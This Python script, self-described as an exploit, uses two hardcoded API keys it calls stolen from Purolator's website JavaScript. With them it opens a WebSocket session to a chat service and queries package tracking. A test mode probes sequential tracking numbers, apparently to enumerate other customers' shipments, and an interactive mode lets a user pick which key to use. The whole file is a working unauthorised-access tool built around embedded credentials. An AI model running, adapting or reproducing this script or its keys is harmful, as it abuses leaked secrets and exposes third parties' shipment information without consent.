#!/usr/bin/env python3
"""
Purolator WebChat Protocol Exploit
===================================
Uses the exact WebSocket protocol format to query tracking information
with stolen API credentials.
"""

import asyncio
import json
import uuid
import base64
import websockets
from datetime import datetime

# STOLEN API CREDENTIALS (from hardcoded JavaScript)
API_KEY_1 = "eyJhcHBsaWNhdGlvbl91dWlkIjogInBSQ3pVNWVCd2V2NHJvekVseWJkTmRreHBVeGFoVkpMcnRxSyIsImFjY2Vzc19rZXkiOiJEa242ZDNad0x4aXBxZnZtNVM4Y05jbkhMNW5BRkV6YnNKMjNyeUZ4YWFNZHM4NEFTazdaM2VrYkJOTGx4bFNCcFFnWGdqS2NXcW5uMUdYWjBsU1Zqd2JqWDFVaklqTDdPdnB5In0="

API_KEY_2 = "eyJhcHBsaWNhdGlvbl91dWlkIjogImYxRWNPMzFzZzJGU2R3bXBtRXZ2aFprNGY4VkpvM3B3QzJBeU4iLCJhY2Nlc3Nfa2V5IjogIm9meWJkVVU1U3RNMVBFOHB2UmRzSHc2MVU1VVY3c2tlZ3p4U2hQWTZkOW5BNXMyYU5IVUdWOGxXR1BqYXJiZ0ZDRW9QdWFoTHVBekdKd1EifQ=="

# WebSocket endpoint
WS_URL = "wss://us1-m.ocp.ai/chat/ws/session"

# Rich content template
RICH_CONTENT = {
    "id": "59987d7735db7a37c24803e064344128",
    "fields": {
        "2e37364f26574e56a60235552388e48d": True
    }
}


def decode_credentials(api_key_b64):
    """Decode base64 API key to show credentials."""
    try:
        decoded = base64.b64decode(api_key_b64).decode('utf-8')
        creds = json.loads(decoded)
        return creds
    except Exception as e:
        return {"error": str(e)}


async def track_package(tracking_number, api_key=API_KEY_1, verbose=True):
    """
    Track a package using the stolen API credentials.

    Args:
        tracking_number: Purolator tracking/PIN number
        api_key: Base64 encoded API credentials
        verbose: Print detailed output

    Returns:
        dict: Tracking results or error information
    """
    session_id = str(uuid.uuid4())

    if verbose:
        print(f"\n{'='*70}")
        print(f"🚀 PUROLATOR WEBCHAT PROTOCOL EXPLOIT")
        print(f"{'='*70}")
        print(f"📦 Tracking Number: {tracking_number}")
        print(f"🔑 Using API Key: {api_key[:50]}...")
        print(f"🆔 Session ID: {session_id}")

        # Show decoded credentials
        creds = decode_credentials(api_key)
        print(f"\n📋 Decoded Credentials:")
        print(f"   Application UUID: {creds.get('application_uuid', 'N/A')}")
        print(f"   Access Key: {creds.get('access_key', 'N/A')[:50]}...")
        print(f"\n🌐 Connecting to: {WS_URL}")

    try:
        async with websockets.connect(WS_URL) as websocket:
            if verbose:
                print("✅ WebSocket connected!")

            # Message 1: Initial dialog request
            dialog_req = {
                "type": "dialog_req",
                "api_key": api_key,
                "session_id": session_id,
                "client_message_id": str(uuid.uuid4()),
                "utterance": "",
                "input_fields": None,
                "rich_content": RICH_CONTENT,
                "semantics": None
            }

            if verbose:
                print(f"\n📤 Sending dialog_req...")
            await websocket.send(json.dumps(dialog_req))

            # Message 2: User tracking request (match exact format from capture)
            user_message = {
                "type": "dialog_message_event",
                "sequence_id": 5,
                "source": "USER",
                "utterance": "Track a Package",  # Don't include number in utterance
                "session_id": session_id,
                "client_message_id": str(uuid.uuid4())
            }

            if verbose:
                print(
                    f"📤 Sending tracking request: '{user_message['utterance']}'")
            await websocket.send(json.dumps(user_message))

            # Collect responses
            responses = []
            bot_responses = []

            if verbose:
                print(f"\n📥 Waiting for responses...\n")

            timeout = 10  # 10 second timeout
            start_time = asyncio.get_event_loop().time()

            while True:
                try:
                    # Check timeout
                    if asyncio.get_event_loop().time() - start_time > timeout:
                        if verbose:
                            print("⏱️  Timeout reached")
                        break

                    # Receive message with timeout
                    message = await asyncio.wait_for(websocket.recv(), timeout=2.0)
                    response = json.loads(message)
                    responses.append(response)

                    # Display response
                    if verbose:
                        print(f"{'─'*70}")
                        print(
                            f"📨 Response Type: {response.get('type', 'unknown')}")

                        if response.get('source') == 'BOT':
                            action_type = response.get('action_type', 'N/A')
                            print(f"🤖 Action Type: {action_type}")

                            # Extract bot message
                            dialog_resp = response.get('dialog_response', {})
                            prompt = dialog_resp.get('prompt', {})
                            content = prompt.get('content', '')

                            if content:
                                print(f"💬 Bot Message: {content}")
                                bot_responses.append(content)

                        print(
                            f"📄 Full Response: {json.dumps(response, indent=2)}")

                    # Check if we got tracking results
                    if response.get('source') == 'BOT' and 'dialog_response' in response:
                        dialog_resp = response.get('dialog_response', {})
                        prompt = dialog_resp.get('prompt', {})
                        content = prompt.get('content', '')

                        # If we got delivery info, we're done
                        if any(keyword in content.lower() for keyword in ['delivered', 'shipment', 'transit', 'status']):
                            if verbose:
                                print(f"\n✅ Got tracking results!")
                            break

                except asyncio.TimeoutError:
                    if verbose:
                        print("⏱️  No more messages")
                    break
                except Exception as e:
                    if verbose:
                        print(f"❌ Error receiving: {e}")
                    break

            # Summary
            if verbose:
                print(f"\n{'='*70}")
                print(f"📊 TRACKING RESULTS SUMMARY")
                print(f"{'='*70}")
                print(f"Total responses: {len(responses)}")
                print(f"Bot messages: {len(bot_responses)}")

                if bot_responses:
                    print(f"\n📋 All Bot Messages:")
                    for i, msg in enumerate(bot_responses, 1):
                        print(f"   {i}. {msg}")
                else:
                    print(f"\n⚠️  No bot responses received")

            return {
                "success": len(bot_responses) > 0,
                "tracking_number": tracking_number,
                "session_id": session_id,
                "responses": responses,
                "bot_messages": bot_responses,
                "timestamp": datetime.now().isoformat()
            }

    except Exception as e:
        if verbose:
            print(f"\n❌ ERROR: {e}")
        return {
            "success": False,
            "error": str(e),
            "tracking_number": tracking_number,
            "timestamp": datetime.now().isoformat()
        }


async def test_multiple_tracking():
    """Test tracking multiple packages."""
    print(f"\n{'='*70}")
    print(f"🧪 TESTING MULTIPLE TRACKING NUMBERS")
    print(f"{'='*70}")

    # Test with known working PIN from your example
    test_numbers = [
        "520127751300",  # From your WebSocket capture
        "520127751301",  # Test adjacent number
        "520127751302",  # Test another
        "000000000001",  # Test invalid format
    ]

    results = []

    for i, pin in enumerate(test_numbers, 1):
        print(f"\n\n{'#'*70}")
        print(f"TEST {i}/{len(test_numbers)}")
        print(f"{'#'*70}")

        result = await track_package(pin)
        results.append(result)

        # Wait between requests
        await asyncio.sleep(2)

    # Final summary
    print(f"\n\n{'='*70}")
    print(f"🎯 FINAL TEST SUMMARY")
    print(f"{'='*70}")

    successful = sum(1 for r in results if r.get('success'))
    print(f"✅ Successful: {successful}/{len(results)}")
    print(f"❌ Failed: {len(results) - successful}/{len(results)}")

    print(f"\n📊 Results by Tracking Number:")
    for result in results:
        pin = result['tracking_number']
        success = "✅" if result.get('success') else "❌"
        msg_count = len(result.get('bot_messages', []))
        print(f"   {success} {pin}: {msg_count} bot messages")


async def interactive_mode():
    """Interactive tracking mode."""
    print(f"\n{'='*70}")
    print(f"💬 INTERACTIVE TRACKING MODE")
    print(f"{'='*70}")
    print(f"Enter tracking numbers to query (or 'quit' to exit)")
    print(f"Using stolen API credentials from JavaScript")
    print(f"{'='*70}\n")

    while True:
        tracking_number = input(
            "📦 Enter tracking number (or 'quit'): ").strip()

        if tracking_number.lower() in ['quit', 'exit', 'q']:
            print("👋 Goodbye!")
            break

        if not tracking_number:
            continue

        # Ask which API key to use
        api_choice = input(
            "🔑 Use API key [1] or [2]? (default 1): ").strip() or "1"
        api_key = API_KEY_1 if api_choice == "1" else API_KEY_2

        result = await track_package(tracking_number, api_key=api_key)

        print("\n" + "─"*70 + "\n")


if __name__ == "__main__":
    import sys

    print("""
╔═══════════════════════════════════════════════════════════════════╗
║           PUROLATOR WEBCHAT PROTOCOL EXPLOIT                      ║
║                                                                   ║
║  Uses stolen API credentials from hardcoded JavaScript to         ║
║  query package tracking information via WebSocket                 ║
╚═══════════════════════════════════════════════════════════════════╝
    """)

    if len(sys.argv) > 1:
        # Command-line mode
        if sys.argv[1] == "test":
            asyncio.run(test_multiple_tracking())
        elif sys.argv[1] == "interactive":
            asyncio.run(interactive_mode())
        else:
            # Track specific number
            tracking_number = sys.argv[1]
            api_key = API_KEY_1 if len(sys.argv) < 3 else (
                API_KEY_2 if sys.argv[2] == "2" else API_KEY_1)
            asyncio.run(track_package(tracking_number, api_key=api_key))
    else:
        # Default: interactive mode
        asyncio.run(interactive_mode())